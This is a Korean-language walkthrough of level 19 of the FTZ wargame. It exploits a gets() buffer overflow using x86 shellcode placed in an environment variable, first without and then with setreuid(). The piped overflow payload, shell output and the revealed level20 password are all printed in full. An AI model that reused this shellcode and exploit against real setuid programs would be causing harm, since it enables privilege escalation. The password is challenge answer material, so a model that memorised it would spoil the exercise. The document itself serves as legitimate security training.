[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
cat 명령어로 hint를 출력해보니 소스코드가 출력되었습니다.
소스코드를 보면 gets( ) 함수로 인해 버퍼 오버플로우가 발생합니다.
공격을 위해 메모리 구조를 분석해보면
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40] // eax = buf
0x0804844c <main+12>: push eax // buf
0x0804844d <main+13>: call 0x80482f4 <gets> // gets(buf)
0x08048452 <main+18>: add esp,0x10
메모리 구조를 그려보면

NOP[44] + Shellcode_addr[4]로 공격을 하면 될거 같습니다.
먼저 환경변수에 shellcode를 저장하고 주소를 출력해보면
[level19@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level19@ftz tmp]$ ./getenv
Shellcode: 0xbffffc21
Shellcode: "\x21\xfc\xff\xbf"
익스플로잇 코드를 짜보면
NOP[44] + Shellcode_addr[4]
(python -c 'print "\x90"*44+"\x21\xfc\xff\xbf"'; cat) | ./attackme
익스플로잇 코드를 실행시켜보면
[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x21\xfc\xff\xbf"'; cat) | ./attackme
!?
id
uid=3099(level19) gid=3099(level19) groups=3099(level19)
쉘이 뜨긴 했는데 user가 level19입니다.
setreuid( ) 함수가 없어서 level19의 권한으로 쉘이 뜬거 같습니다.
setreuid( ) 함수가 포함된 쉘코드로 다시 시도해보면
# ShellCode (setreuid() 포함)
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
[level19@ftz tmp]$ export Shellcode=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[level19@ftz tmp]$ ./getenv
Shellcode: 0xbffffc11
(python -c 'print "\x90"*44+"\x11\xfc\xff\xbf"'; cat) | ./attackme
[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x11\xfc\xff\xbf"'; cat) | ./attackme
?
id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
level20의 권한으로 쉘이 떴습니다.
패스워드를 출력해보면
my-pass
TERM environment variable not set.
Level20 Password is "we are just regular guys".